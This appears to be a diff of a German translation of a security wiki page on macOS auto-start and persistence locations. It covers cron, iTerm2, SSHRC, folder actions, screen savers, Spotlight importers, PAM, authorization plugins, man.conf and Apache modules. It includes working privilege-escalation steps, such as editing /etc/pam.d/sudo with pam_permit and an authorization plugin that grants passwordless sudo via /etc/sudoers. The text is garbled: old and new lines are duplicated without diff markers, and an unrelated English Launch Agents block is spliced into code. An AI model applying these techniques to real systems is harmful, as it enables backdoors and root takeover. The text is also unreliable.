Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die es Ihnen ermöglicht, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und nicht allzu häufige Bedingungen erwarten, wie spezifische installierte **Programme, "ungewöhnliche" Benutzer**-Aktionen oder Umgebungen.
Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die es Ihnen ermöglicht, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und nicht allzu häufige Bedingungen erwarten, wie spezifische installierte Programme, "ungewöhnliche" Benutzeraktionen oder Umgebungen.
{% endhint %}
### Cron
@ -385,7 +385,7 @@ Hier finden Sie Startorte, die nützlich sind für die **Sandbox-Umgehung**, die
#### Beschreibung & Ausnutzung
Listen Sie die Cron-Jobs des **aktuellen Benutzers** auf mit:
Liste die Cron-Jobs des **aktuellen Benutzers** auf mit:
```bash
crontab -l
```
@ -396,7 +396,7 @@ In MacOS können mehrere Ordner gefunden werden, die Skripte mit **bestimmter H
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
Hier finden Sie die regulären **cron-Jobs**, die **at-Jobs** (die nicht sehr häufig verwendet werden) und die **periodischen Jobs** (hauptsächlich zur Bereinigung temporärer Dateien). Die täglichen periodischen Jobs können beispielsweise mit `periodic daily` ausgeführt werden.
Hier finden Sie die regulären **cron-Jobs**, die **at-Jobs** (nicht sehr gebräuchlich) und die **periodischen Jobs** (hauptsächlich zur Bereinigung temporärer Dateien verwendet). Die täglichen periodischen Jobs können beispielsweise mit dem Befehl `periodic daily` ausgeführt werden.
Um **benutzerdefinierte Cron-Jobs programmgesteuert hinzuzufügen**, ist es möglich, zu verwenden:
```bash
@ -405,7 +405,7 @@ crontab /tmp/cron
```
### iTerm2
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
Bericht: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
* Nützlich zur Umgehung der Sandbox: [](https://emojipedia.org/check-mark-button)
* TCC-Umgehung: [](https://emojipedia.org/check-mark-button)
@ -437,23 +437,24 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
Launch Agents are used to run processes when a user logs in. They are located in the following directories:
- `/Library/LaunchAgents`
- `/System/Library/LaunchAgents`
- `/Users/<username>/Library/LaunchAgents`
- `/Library/LaunchAgents`: System-wide Launch Agents
- `/System/Library/LaunchAgents`: macOS provided Launch Agents
- `~/Library/LaunchAgents`: User-specific Launch Agents
#### Launch Daemons
Launch Daemons are used to run processes at system startup. They are located in the following directories:
Launch Daemons are used to run processes at system boot or login. They are located in the following directories:
- `/Library/LaunchDaemons`
- `/System/Library/LaunchDaemons`
- `/Library/LaunchDaemons`: System-wide Launch Daemons
- `/System/Library/LaunchDaemons`: macOS provided Launch Daemons
#### Startup Items
Startup Items are legacy and deprecated but may still be present on older systems. They are located in the following directories:
Startup Items are deprecated in macOS, but still supported for compatibility. They are located in the `/Library/StartupItems` directory.
- `/Library/StartupItems`
- `/System/Library/StartupItems`
#### Login Items
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -474,11 +475,11 @@ Das Skript **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** wi
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
Die iTerm2-Einstellungen befinden sich in **`~/Library/Preferences/com.googlecode.iterm2.plist`** und können **einen Befehl anzeigen, der ausgeführt werden soll**, wenn das iTerm2-Terminal geöffnet wird.
Die iTerm2-Einstellungen befinden sich in **`~/Library/Preferences/com.googlecode.iterm2.plist`** und können **einen Befehl zur Ausführung** beim Öffnen des iTerm2-Terminals anzeigen.
Diese Einstellung kann in den iTerm2-Einstellungen konfiguriert werden:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Und der Befehl wird in den Einstellungen widergespiegelt:
```bash
@ -535,7 +536,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
### Hammerspoon
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
**Beschreibung**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
* Nützlich zur Umgehung der Sandbox: [](https://emojipedia.org/check-mark-button)
* Aber Hammerspoon muss installiert sein
@ -549,7 +550,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### Beschreibung
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dient als Automatisierungsplattform für **macOS** und nutzt die **LUA-Skriptsprache** für seine Operationen. Es unterstützt die Integration von vollständigem AppleScript-Code und die Ausführung von Shell-Skripten, was seine Skriptfähigkeiten erheblich verbessert.
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dient als Automatisierungsplattform für **macOS**, die die **LUA-Skriptsprache** für ihre Operationen nutzt. Bemerkenswert ist die Integration von vollständigem AppleScript-Code und die Ausführung von Shell-Skripten, was ihre Skriptfähigkeiten erheblich verbessert.
Die App sucht nach einer einzigen Datei, `~/.hammerspoon/init.lua`, und wenn sie gestartet wird, wird das Skript ausgeführt.
```bash
@ -560,7 +561,7 @@ EOF
```
### BetterTouchTool
* Nützlich zur Umgehung der Sandbox: [](https://emojipedia.org/check-mark-button)
* Nützlich, um die Sandbox zu umgehen: [](https://emojipedia.org/check-mark-button)
* Aber BetterTouchTool muss installiert sein
* TCC-Umgehung: [](https://emojipedia.org/check-mark-button)
* Es fordert Berechtigungen für Automation-Shortcuts und Zugänglichkeit an
@ -573,7 +574,7 @@ Dieses Tool ermöglicht es, Anwendungen oder Skripte anzugeben, die ausgeführt
### Alfred
* Nützlich zur Umgehung der Sandbox: [](https://emojipedia.org/check-mark-button)
* Nützlich, um die Sandbox zu umgehen: [](https://emojipedia.org/check-mark-button)
* Aber Alfred muss installiert sein
* TCC-Umgehung: [](https://emojipedia.org/check-mark-button)
* Es fordert Berechtigungen für Automation, Zugänglichkeit und sogar Vollzugriff auf den Datenträger an
@ -582,13 +583,13 @@ Dieses Tool ermöglicht es, Anwendungen oder Skripte anzugeben, die ausgeführt
* `???`
Es ermöglicht das Erstellen von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise ist es für einen Angreifer möglich, eine Workflow-Datei zu erstellen und Alfred dazu zu bringen, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden).
Es ermöglicht die Erstellung von Workflows, die Code ausführen können, wenn bestimmte Bedingungen erfüllt sind. Möglicherweise kann ein Angreifer eine Workflow-Datei erstellen und Alfred dazu bringen, sie zu laden (es ist erforderlich, die Premium-Version zu bezahlen, um Workflows zu verwenden).
### SSHRC
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
* Nützlich zur Umgehung der Sandbox: [](https://emojipedia.org/check-mark-button)
* Nützlich, um die Sandbox zu umgehen: [](https://emojipedia.org/check-mark-button)
* Aber SSH muss aktiviert und verwendet werden
* TCC-Umgehung: [](https://emojipedia.org/check-mark-button)
* SSH hatte FDA-Zugriff
@ -598,11 +599,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* **`~/.ssh/rc`**
* **Auslöser**: Anmeldung über SSH
* **`/etc/ssh/sshrc`**
* Root erforderlich
* Benötigt Root-Rechte
* **Auslöser**: Anmeldung über SSH
{% hint style="danger" %}
Um SSH einzuschalten, ist Vollzugriff auf den Datenträger erforderlich:
Um SSH zu aktivieren, sind Vollzugriffsrechte erforderlich:
```bash
sudo systemsetup -setremotelogin on
```
@ -645,7 +646,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
```
Diese Elemente werden in der Datei **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** gespeichert.
**Anmeldeobjekte** können auch mit der API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) angegeben werden, die die Konfiguration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** speichert.
**Anmeldeobjekte** können auch über die API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) angegeben werden, die die Konfiguration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** speichert.
### ZIP als Anmeldeobjekt
@ -657,7 +658,7 @@ Eine andere Möglichkeit wäre, die Dateien **`.bash_profile`** und **`.zshenv`*
### At
Bericht: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* Nützlich zur Umgehung der Sandbox: [](https://emojipedia.org/check-mark-button)
* Aber Sie müssen **`at`** **ausführen** und es muss **aktiviert** sein
@ -669,13 +670,13 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.
#### **Beschreibung**
`at`-Aufgaben sind für die **Planung einmaliger Aufgaben** zu bestimmten Zeiten konzipiert. Im Gegensatz zu Cron-Jobs werden `at`-Aufgaben nach der Ausführung automatisch entfernt. Es ist wichtig zu beachten, dass diese Aufgaben über Systemneustarts hinweg bestehen bleiben und unter bestimmten Bedingungen als potenzielle Sicherheitsbedenken gekennzeichnet sind.
`at`-Aufgaben sind für die **Planung einmaliger Aufgaben** zu bestimmten Zeiten konzipiert. Im Gegensatz zu Cron-Jobs werden `at`-Aufgaben nach der Ausführung automatisch entfernt. Es ist wichtig zu beachten, dass diese Aufgaben über Systemneustarts hinweg bestehen bleiben und unter bestimmten Bedingungen als potenzielle Sicherheitsbedenken gelten.
Standardmäßig sind sie **deaktiviert**, aber der **root**-Benutzer kann **sie** mit:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
Dies wird in 1 Stunde eine Datei erstellen:
Dies wird eine Datei in 1 Stunde erstellen:
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
@ -685,7 +686,7 @@ sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
Oben sehen wir zwei geplante Aufgaben. Wir können die Details der Aufgabe mit `at -c JOBNUMMER` ausdrucken.
Oben sehen wir zwei geplante Aufgaben. Wir können die Details der Aufgabe mit `at -c JOBNUMBER` ausdrucken.
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@ -757,14 +758,14 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
#### Beschreibung & Ausnutzung
Ordneraktionen sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie das Hinzufügen oder Entfernen von Elementen oder anderen Aktionen wie das Öffnen oder Ändern der Größe des Ordnerfensters. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf verschiedene Weisen ausgelöst werden, z. B. über die Finder-Benutzeroberfläche oder Terminalbefehle.
Ordneraktionen sind Skripte, die automatisch durch Änderungen in einem Ordner ausgelöst werden, wie das Hinzufügen, Entfernen von Elementen oder andere Aktionen wie das Öffnen oder Ändern der Fenstergröße des Ordners. Diese Aktionen können für verschiedene Aufgaben genutzt werden und können auf verschiedene Weisen ausgelöst werden, z. B. über die Finder-Benutzeroberfläche oder Terminalbefehle.
Um Ordneraktionen einzurichten, haben Sie Optionen wie:
1. Erstellen eines Ordneraktions-Workflows mit [Automator](https://support.apple.com/guide/automator/welcome/mac) und Installation als Dienst.
2. Anhängen eines Skripts manuell über die Ordneraktions-Einrichtung im Kontextmenü eines Ordners.
3. Verwendung von OSAScript zum Senden von Apple-Ereignisnachrichten an die `System Events.app`, um programmgesteuert eine Ordneraktion einzurichten.
* Diese Methode ist besonders nützlich, um die Aktion in das System einzubetten und eine Art von Persistenz zu bieten.
* Diese Methode ist besonders nützlich, um die Aktion in das System einzubetten und ein Maß an Persistenz zu bieten.
Das folgende Skript ist ein Beispiel dafür, was von einer Ordneraktion ausgeführt werden kann:
```applescript
@ -790,7 +791,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
Führen Sie das Einrichtungsskript mit:
Führen Sie das Einrichtungsskript mit aus:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
@ -818,11 +819,11 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
Dann öffnen Sie die `Folder Actions Setup`-App, wählen Sie den **Ordner, den Sie überwachen möchten**, und wählen Sie in Ihrem Fall **`folder.scpt`** (in meinem Fall habe ich es output2.scp genannt):
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
Wenn Sie nun diesen Ordner mit dem **Finder** öffnen, wird Ihr Skript ausgeführt.
Diese Konfiguration wurde im **plist** im base64-Format gespeichert, das sich unter **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** befindet.
Diese Konfiguration wurde im **plist** im Base64-Format gespeichert, das sich unter **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** befindet.
Nun versuchen wir, diese Persistenz ohne GUI-Zugriff vorzubereiten:
@ -830,12 +831,12 @@ Nun versuchen wir, diese Persistenz ohne GUI-Zugriff vorzubereiten:
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2. **Entfernen** Sie die gerade festgelegten Ordneraktionen:
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Jetzt, da wir eine leere Umgebung haben
3. Kopieren Sie die Sicherungsdatei: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
4. Öffnen Sie die Folder Actions Setup.app, um diese Konfiguration zu übernehmen: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
4. Öffnen Sie die App Folder Actions Setup, um diese Konfiguration zu übernehmen: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
{% hint style="danger" %}
Bei mir hat das nicht funktioniert, aber das sind die Anweisungen aus dem Bericht :(
@ -858,7 +859,7 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
Alle Anwendungen, die im Dock erscheinen, sind in der plist spezifiziert: **`~/Library/Preferences/com.apple.dock.plist`**
Es ist möglich, **eine Anwendung hinzuzufügen** nur mit:
Es ist möglich, eine Anwendung einfach hinzuzufügen mit:
{% code overflow="wrap" %}
```bash
@ -975,38 +976,38 @@ Beachten Sie, dass das Binärprogramm, das Ihre Bibliothek lädt, eine **sehr re
Ein Anwendungsbeispiel mit einer Finder Sync-Erweiterung [**finden Sie hier**](https://github.com/D00MFist/InSync).
Anwendungen können `Finder Sync-Erweiterungen` haben. Diese Erweiterung wird in eine Anwendung eingefügt, die ausgeführt wird. Darüber hinaus muss die Erweiterung, um ihren Code ausführen zu können, **mit einem gültigen Apple-Entwicklerzertifikat signiert sein**, sie muss **gesandboxt sein** (obwohl entspannte Ausnahmen hinzugefügt werden könnten) und sie muss mit etwas wie registriert sein:
Anwendungen können `Finder Sync-Erweiterungen` haben. Diese Erweiterung wird in eine Anwendung eingefügt, die ausgeführt wird. Darüber hinaus muss die Erweiterung, um ihren Code ausführen zu können, **signiert** sein mit einem gültigen Apple-Entwicklerzertifikat, sie muss **gesandboxt** sein (obwohl entspannte Ausnahmen hinzugefügt werden könnten) und sie muss mit etwas wie registriert sein:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
```
### Bildschirmschoner
Erklärung: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
Erklärung: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
* Nützlich, um die Sandbox zu umgehen: [🟠](https://emojipedia.org/large-orange-circle)
* Aber Sie werden in einer gängigen Anwendungs-Sandbox landen
* Aber Sie werden in einer gängigen Anwendungs-Sandbox enden
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
#### Ort
* `/System/Library/Screen Savers`
* Benötigt Root-Rechte
* Root erforderlich
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
* `/Library/Screen Savers`
* Benötigt Root-Rechte
* Root erforderlich
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
* `~/Library/Screen Savers`
* **Auslöser**: Wählen Sie den Bildschirmschoner aus
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Beschreibung & Exploit
Erstellen Sie ein neues Projekt in Xcode und wählen Sie die Vorlage, um einen neuen **Bildschirmschoner** zu generieren. Fügen Sie dann Ihren Code hinzu, zum Beispiel den folgenden Code, um Protokolle zu generieren.
**Bauen** Sie es und kopieren Sie das `.saver`-Bundle nach **`~/Library/Screen Savers`**. Öffnen Sie dann die Bildschirmschoner-GUI und wenn Sie darauf klicken, sollte es viele Protokolle generieren:
**Bauen** Sie es und kopieren Sie das `.saver`-Bundle nach **`~/Library/Screen Savers`**. Öffnen Sie dann die Bildschirmschoner-GUI und klicken Sie einfach darauf, es sollte viele Protokolle generieren:
{% code overflow="wrap" %}
```bash
@ -1023,7 +1024,7 @@ Timestamp (process)[PID]
Beachten Sie, dass aufgrund der Berechtigungen der Binärdatei, die diesen Code lädt (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), Sie sich **innerhalb des üblichen Anwendungssandkastens** befinden.
{% endhint %}
Sparcode:
Sparercode:
```objectivec
//
// ScreenSaverExampleView.m
@ -1101,23 +1102,23 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
#### Standort
* `~/Library/Spotlight/`
* **Auslöser**: Eine neue Datei mit einer Erweiterung, die vom Spotlight-Plugin verwaltet wird, wird erstellt.
* **Auslöser**: Eine neue Datei mit einer Erweiterung, die von dem Spotlight-Plugin verwaltet wird, wird erstellt.
* `/Library/Spotlight/`
* **Auslöser**: Eine neue Datei mit einer Erweiterung, die vom Spotlight-Plugin verwaltet wird, wird erstellt.
* **Auslöser**: Eine neue Datei mit einer Erweiterung, die von dem Spotlight-Plugin verwaltet wird, wird erstellt.
* Root erforderlich
* `/System/Library/Spotlight/`
* **Auslöser**: Eine neue Datei mit einer Erweiterung, die vom Spotlight-Plugin verwaltet wird, wird erstellt.
* **Auslöser**: Eine neue Datei mit einer Erweiterung, die von dem Spotlight-Plugin verwaltet wird, wird erstellt.
* Root erforderlich
* `Some.app/Contents/Library/Spotlight/`
* **Auslöser**: Eine neue Datei mit einer Erweiterung, die vom Spotlight-Plugin verwaltet wird, wird erstellt.
* **Auslöser**: Eine neue Datei mit einer Erweiterung, die von dem Spotlight-Plugin verwaltet wird, wird erstellt.
* Neue App erforderlich
#### Beschreibung & Ausnutzung
Spotlight ist die integrierte Suchfunktion von macOS, die Benutzern einen **schnellen und umfassenden Zugriff auf Daten auf ihren Computern** bietet.\
Um diese schnelle Suchfunktion zu erleichtern, pflegt Spotlight eine **eigene Datenbank** und erstellt einen Index, indem es die meisten Dateien analysiert, was schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalten ermöglicht.
Um diese schnelle Suchfunktion zu ermöglichen, pflegt Spotlight eine **eigene Datenbank** und erstellt einen Index, indem es die meisten Dateien analysiert, was schnelle Suchen sowohl nach Dateinamen als auch nach deren Inhalten ermöglicht.
Der zugrunde liegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens 'mds', was für **'Metadatenserver'** steht. Dieser Prozess orchestriert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere 'mdworker'-Daemons, die verschiedene Wartungsaufgaben ausführen, wie das Indizieren verschiedener Dateitypen (`ps -ef | grep mdworker`). Diese Aufgaben werden durch Spotlight-Importer-Plugins oder **".mdimporter-Bundles**" ermöglicht, die Spotlight ermöglichen, Inhalte in einer Vielzahl von Dateiformaten zu verstehen und zu indizieren.
Der zugrunde liegende Mechanismus von Spotlight umfasst einen zentralen Prozess namens 'mds', was für **'Metadatenserver'** steht. Dieser Prozess orchestriert den gesamten Spotlight-Dienst. Ergänzend dazu gibt es mehrere 'mdworker'-Daemons, die verschiedene Wartungsaufgaben ausführen, wie das Indizieren verschiedener Dateitypen (`ps -ef | grep mdworker`). Diese Aufgaben werden durch Spotlight-Importer-Plugins oder **".mdimporter-Bundles**" ermöglicht, die Spotlight das Verstehen und Indizieren von Inhalten über eine Vielzahl von Dateiformaten hinweg ermöglichen.
Die Plugins oder **`.mdimporter`**-Bundles befinden sich an den zuvor genannten Orten, und wenn ein neues Bundle erscheint, wird es innerhalb von Minuten geladen (keine Notwendigkeit, einen Dienst neu zu starten). Diese Bundles müssen angeben, welche **Dateitypen und Erweiterungen sie verwalten können**, auf diese Weise wird Spotlight sie verwenden, wenn eine neue Datei mit der angegebenen Erweiterung erstellt wird.
@ -1175,13 +1176,13 @@ Darüber hinaus haben Systemstandard-Plugins immer Vorrang, sodass ein Angreifer
Um Ihren eigenen Importeur zu erstellen, könnten Sie mit diesem Projekt beginnen: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) und dann den Namen ändern, die **`CFBundleDocumentTypes`** ändern und **`UTImportedTypeDeclarations`** hinzufügen, damit es die Erweiterung unterstützt, die Sie unterstützen möchten, und diese in **`schema.xml`** reflektieren.\
Ändern Sie dann den Code der Funktion **`GetMetadataForFile`**, um Ihr Payload auszuführen, wenn eine Datei mit der verarbeiteten Erweiterung erstellt wird.
Schließlich **bauen und kopieren Sie Ihren neuen `.mdimporter`** an einen der vorherigen Speicherorte und Sie können überprüfen, ob er geladen wird, indem Sie die Protokolle überwachen oder **`mdimport -L`** überprüfen.
Schließlich **bauen und kopieren Sie Ihren neuen `.mdimporter`** an einen der vorherigen Speicherorte und Sie können überprüfen, ob er geladen wird, indem Sie die **Protokolle überwachen** oder **`mdimport -L`** überprüfen.
### ~~Einstellungsfenster~~
{% hint style="danger" %}
Es scheint, dass dies nicht mehr funktioniert.
{% endhint %}
{% hint %}
Bericht: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
@ -1203,7 +1204,7 @@ Es scheint, dass dies nicht mehr funktioniert.
{% hint style="success" %}
Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es als **root** in eine Datei schreiben und/oder andere **seltsame Bedingungen** erfordern.
{% endhint %}
{% hint %}
### Periodisch
@ -1225,7 +1226,6 @@ Bericht: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
#### Beschreibung & Ausnutzung
Die periodischen Skripte (**`/etc/periodic`**) werden aufgrund der in `/System/Library/LaunchDaemons/com.apple.periodic*` konfigurierten **Startdaemons** ausgeführt. Beachten Sie, dass Skripte, die in `/etc/periodic/` gespeichert sind, als **Besitzer der Datei** ausgeführt werden, sodass dies nicht für einen potenziellen Privilegierungswechsel funktioniert.
{% code overflow="wrap" %}
```bash
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
@ -1280,7 +1280,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
* Aber Sie müssen root sein
* TCC-Umgehung: [🔴](https://emojipedia.org/large-red-circle)
#### Ort
#### Standort
* Root immer erforderlich
@ -1292,11 +1292,11 @@ Da PAM mehr auf **Persistenz** und Malware als auf einfache Ausführung in macOS
```bash
ls -l /etc/pam.d
```
Eine Persistenz-/Privileg Eskalationstechnik, die PAM ausnutzt, ist so einfach wie die Modifikation des Moduls /etc/pam.d/sudo durch das Hinzufügen der Zeile am Anfang:
Eine Persistenz-/Privileg-Eskalationstechnik, die PAM missbraucht, ist so einfach wie die Modifizierung des Moduls /etc/pam.d/sudo durch Hinzufügen der Zeile am Anfang:
```bash
auth sufficient pam_permit.so
```
So wird es **aussehen wie** etwas in dieser Art:
So wird es **aussehen** wie folgt:
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
@ -1307,7 +1307,7 @@ account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
Und daher wird jeder Versuch, **`sudo` zu verwenden, funktionieren**.
Und daher wird jeder Versuch, **`sudo` zu verwenden**, funktionieren.
{% hint style="danger" %}
Beachten Sie, dass dieses Verzeichnis durch TCC geschützt ist, daher ist es sehr wahrscheinlich, dass der Benutzer zur Genehmigung aufgefordert wird.
@ -1322,7 +1322,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
* Aber Sie müssen Root sein und zusätzliche Konfigurationen vornehmen
* TCC-Umgehung: ???
#### Ort
#### Standort
* `/Library/Security/SecurityAgentPlugins/`
* Root erforderlich
@ -1330,7 +1330,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
#### Beschreibung & Ausnutzung
Sie können ein Autorisierungs-Plugin erstellen, das ausgeführt wird, wenn sich ein Benutzer anmeldet, um die Persistenz aufrechtzuerhalten. Für weitere Informationen darüber, wie man eines dieser Plugins erstellt, lesen Sie die vorherigen Writeups (und seien Sie vorsichtig, ein schlecht geschriebenes Plugin kann Sie aussperren und Sie müssen Ihren Mac im Wiederherstellungsmodus bereinigen).
Sie können ein Autorisierungs-Plugin erstellen, das ausgeführt wird, wenn sich ein Benutzer anmeldet, um die Persistenz aufrechtzuerhalten. Weitere Informationen dazu, wie man eines dieser Plugins erstellt, finden Sie in den vorherigen Writeups (und seien Sie vorsichtig, ein schlecht geschriebenes Plugin kann Sie aussperren und Sie müssen Ihren Mac im Wiederherstellungsmodus bereinigen).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1349,7 +1349,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
Schließlich fügen Sie die **Regel** hinzu, um dieses Plugin zu laden:
Fügen Sie schließlich die **Regel** hinzu, um dieses Plugin zu laden:
```bash
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
@ -1392,9 +1392,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
#### Beschreibung & Exploit
Die Konfigurationsdatei **`/private/etc/man.conf`** gibt an, welches Binär-/Skript verwendet werden soll, wenn man Dokumentationsdateien öffnet. Der Pfad zur ausführbaren Datei könnte also so geändert werden, dass jedes Mal, wenn der Benutzer man verwendet, um einige Dokumente zu lesen, eine Hintertür ausgeführt wird.
Die Konfigurationsdatei **`/private/etc/man.conf`** gibt an, welches Binär-/Skript verwendet werden soll, wenn man Dokumentationsdateien öffnet. Der Pfad zur ausführbaren Datei könnte also so geändert werden, dass jedes Mal, wenn der Benutzer man verwendet, um einige Dokumente zu lesen, ein Hintertür ausgeführt wird.
Zum Beispiel in **`/private/etc/man.conf`** festlegen:
Zum Beispiel festgelegt in **`/private/etc/man.conf`**:
```
MANPAGER /tmp/view
```
@ -1423,9 +1423,7 @@ touch /tmp/manconf
#### Beschreibung & Exploit
Sie können in `/etc/apache2/httpd.conf` angeben, ein Modul zu laden, indem Sie eine Zeile hinzufügen wie:
{% code overflow="wrap" %}
Sie können in `/etc/apache2/httpd.conf` angeben, dass ein Modul geladen wird, indem Sie eine Zeile hinzufügen wie:
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
@ -1433,7 +1431,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
Auf diese Weise werden Ihre kompilierten Module von Apache geladen. Das Einzige ist, dass Sie es entweder mit einem gültigen Apple-Zertifikat signieren müssen oder Sie ein neues vertrauenswürdiges Zertifikat im System hinzufügen und es damit signieren müssen.
Dann, falls erforderlich, um sicherzustellen, dass der Server gestartet wird, könnten Sie ausführen:
Dann, falls erforderlich, können Sie sicherstellen, dass der Server gestartet wird, indem Sie Folgendes ausführen:
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
@ -1475,7 +1473,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
**Dies ist veraltet, daher sollte in diesen Verzeichnissen nichts gefunden werden.**
{% endhint %}
